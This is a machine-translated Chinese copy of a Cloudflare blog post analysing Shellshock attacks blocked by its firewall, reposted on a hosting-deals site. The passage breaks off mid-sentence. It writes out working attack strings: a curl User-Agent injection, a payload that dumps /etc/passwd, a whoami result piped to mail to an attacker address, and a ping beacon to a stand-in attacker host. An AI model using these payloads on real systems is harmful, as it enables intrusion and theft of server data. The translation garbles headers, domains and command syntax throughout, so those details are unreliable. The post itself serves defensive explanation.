云服务器价格_云数据库_云主机【优惠】最新活动-搜集站云资讯

域名解析_广州网站建设排名_返利

小七 141 0

内部Shellshock:黑客如何利用它来攻击系统

上周星期三,Shellshock bash bug的细节浮出水面。这个bug引发了一场使用bash易受攻击版本修补计算机、服务器、路由器、防火墙和其他计算设备的混乱。CloudFlare立即通过我们的Web应用程序防火墙为专业、商业和企业客户提供保护。上周日,在研究了问题的严重程度并查看了WAF阻止的攻击日志后,我们决定也为我们的免费计划客户提供保护。从那以后,我们一直在监视我们阻止的攻击,以便了解它们的样子和来源。根据我们的观察,很明显黑客正在世界范围内利用Shellshock。(2.0澳元抄送)弹出Shellshock问题是任意代码执行(ACE)漏洞的一个例子。通常,ACE漏洞攻击是在正在运行的程序上执行的,并且需要对代码执行、内存布局和汇编语言的内部进行高度复杂的理解简言之,这种类型的攻击需要专家。攻击者还将使用ACE漏洞上载或运行一个程序,该程序为他们提供了控制目标计算机的简单方法。这通常是通过运行一个"shell"来实现的。shell是可以输入和执行命令的命令行。Shellshock漏洞是一个主要问题,因为它消除了对专业知识的需要,并提供了一种简单(不幸的是,非常简单)的方法来控制另一台计算机(如web服务器)并使其运行代码。假设您想攻击一个web服务器并打开它的CD或DVD驱动器幻灯片。在Linux上有一个命令可以做到这一点:/bin/eject。如果web服务器易受Shellshock攻击,您可以通过将魔法字符串(){:;};添加到/bin/eject,然后通过HTTP将该字符串发送到目标计算机。通常,用户代理字符串将标识您正在使用的浏览器类型,但是,在Shellshock漏洞的情况下,它可以设置为任何内容。例如,如果example.com网站那时很脆弱curl-H"用户代理:(){:;};/bin/eject"http://example.com/足以让CD或DVD驱动器弹出。在监视我们封锁的炮击攻击时,我们实际上看到有人正试图进行这种攻击。所以,如果你运行一个web服务器,突然发现一个弹出的DVD,这可能表明你的机器容易受到外壳冲击。为什么这种简单的攻击有效当web服务器接收到对页面的请求时,请求的三个部分可能会受到Shellshock攻击:请求URL、与URL一起发送的标头以及所谓的"参数"(当您在网站上输入您的姓名和地址时,它通常会作为请求中的参数发送)。例如,下面是一个检索CloudFlare主页的实际HTTP请求:获取/HTTP/1.1接受编码:gzip、deflate、sdch接受语言:en-US,en;q=0.8,fr;q=0.6缓存控制:无缓存Pragma:无缓存用户代理:Mozilla/5.0(Macintosh;Intel Mac OS X 10_9_4)AppleWebKit/537.36(KHTML,像壁虎)Chrome/37.0.2062.124 Safari/537.36主持人:cloudflare.com网站在本例中,URL为/(主页面),标题为Accept Encoding(接受编码)、Accept Language(接受语言)等。这些标头向web服务器提供有关web浏览器功能、首选语言、要查找的网站以及我使用的浏览器的信息。将这些变量转换为web服务器内的变量,以便web服务器可以检查它们,这并不少见。(web服务器可能想知道我的首选语言是什么,以便决定如何响应我)。例如,在响应CloudFlare主页请求的web服务器内部,可以通过逐字符复制请求头来定义以下变量。HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP\u ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=无缓存HTTP_PRAGMA=无缓存HTTP_USER_AGENT=Mozilla/5.0(Macintosh;Intel Mac OS X 10_9_4)AppleWebKit/537.36(KHTML,如Gecko)Chrome/37.0.2062.124 Safari/537.36HTTP主机=cloudflare.com网站只要这些变量保留在web服务器软件中,并且没有传递给运行在web服务器上的其他程序,服务器就不会受到攻击。当变量被传递到名为"bash"的shell中时,就会发生Shellshock。Bash是Linux系统上常用的shell。Web服务器经常需要运行其他程序来响应请求,通常这些变量被传递到bash或另一个shell中。当攻击者修改源HTTP请求以包含上面讨论的magic(){:;};字符串时,就会出现shell-shock问题。假设攻击者将上面的User-Agent头从Mozilla/5.0(Macintosh;Intel Mac OS X 10_9_4)AppleWebKit/537.36(KHTML,like Gecko)Chrome/37.0.2062.124 Safari/537.36更改为simply(){:};/bin/eject。这将在web服务器内创建以下变量:HTTP_USER_AGENT=(){:;};/bin/eject如果该变量被web服务器传递到bash中,则会出现Shellshock问题。这是因为bash有特殊的规则来处理以(){:;};开头的变量;。bash不会将变量HTTP_USER_AGENT视为一个没有特殊含义的字符序列,而是将其解释为需要执行的命令(为了清晰起见,我省略了对为什么(){:};使bash这样做的深层次技术解释)问题是HTTP_USER_AGENT来自于USER AGENT报头,这是攻击者控制的,因为它在HTTP请求中进入web服务器。这是一个灾难的诀窍,因为攻击者可以让易受攻击的服务器运行它想要的任何命令(参见下面的示例)。解决方案是将bash升级到不以特殊方式解释(){:;};的版本。攻击从哪里来当我们为所有客户推出保护措施时,我们制定了一个指标,允许我们监控尝试的Shellshock攻击次数。他们都收到了一个HTTP403禁止的错误代码,但是我们记录了它们发生的时间和攻击的基本信息。此图表显示了自为所有客户提供保护以来,CloudFlare网络中每秒的攻击次数。从CloudFlare开启外壳防震保护的那一刻到今天早上,我们看到了每秒10到15次攻击。按照攻击量的顺序,这些请求来自法国(80%)、美国(7%)、荷兰(7%),然后是其他许多国家的较小攻击量。大约在1:00太平洋(1000在巴黎),来自法国的袭击停止。我们现在看到大约每秒5次攻击。在撰写本文时,我们已经阻止了超过110万次的炮击攻击。让你的想象力尽情驰骋由于Shellshock很容易攻击易受攻击的机器,而且由于易受攻击的机器会运行发送给它的任何命令,攻击者们就用远程操作计算机的方法让他们的想象力变得疯狂。CloudFlare的WAF记录了它阻止一个请求的原因,该请求允许我们提取和分析实际使用的Shellshock字符串。Shellshock主要用于侦察:提取私人信息,并允许攻击者控制服务器。大多数Shellshock命令都是使用HTTP用户代理和Referer头注入的,但是攻击者也使用GET和POST参数以及其他随机的HTTP报头。为了提取隐私信息,攻击者使用了两种技术。最简单的提取攻击形式如下:(){:;};/bin/cat/etc/passwd它读取密码文件/etc/passwd,并将其添加到web服务器的响应中。因此,攻击者通过Shellshock漏洞注入此代码时,会看到作为网页一部分的密码文件被转储到他们的屏幕上。在一次攻击中,他们只是通过电子邮件向自己发送私人文件。为了通过电子邮件获取数据,攻击者使用的mail命令如下:(){:;};/bin/bash-c\"whoami |邮件-s"example.com网站我xxxxxxxxxxxxxx@gmail.com该命令首先运行whoami以查找运行web服务器的用户的名称。这特别有用,因为如果web服务器以root用户(可以执行任何操作的超级用户)的身份运行,那么服务器将是一个特别丰富的目标。然后它发送用户名和被攻击网站的名称(example.com网站以上)通过电子邮件。网站名称显示在电子邮件主题行中。在闲暇时,攻击者可以登录他们的电子邮件,找出哪些网站是易受攻击的。同样的电子邮件技术也可以用于提取类似密码文件的数据。(2.0 JD汉考克抄送)侦察到目前为止,我们看到的最流行的攻击(大约占所有攻击的83%)被称为"侦察"。在侦察攻击中,攻击者发送一个命令,该命令将向第三方计算机发送消息。然后,第三方机器将编译一个列表,列出所有与它有联系的易受攻击的机器。在过去,我们已经看到一系列被破坏的机器被变成僵尸网络,用于DDoS、垃圾邮件或其他目的。一种流行的侦察技术使用ping命令让易受攻击的机器向攻击者控制的第三方服务器发送单个数据包(称为ping)。攻击字符串如下所示:(){:;};ping-c1-p cb18cb3f7bca4441a595fcc1e240deb0攻击者-machine.com公司ping命令通常用于测试机器是"活动的"还是在线的(一个活动的机器用它自己的ping响应)。如果web服务器易受Shellshock攻击,则它将向攻击者发送一个ping包(即-c1)-machine.com公司有效负载由-p设置。有效负载是攻击者创建的唯一ID,因此他们可以将ping跟踪回易受攻击的网站。另一种用于识别易受攻击服务器的技术是使web服务器从攻击者控制的计算机下载网页。然后,攻击者可以在其web服务器日志中查找哪台计算机易受攻击。这个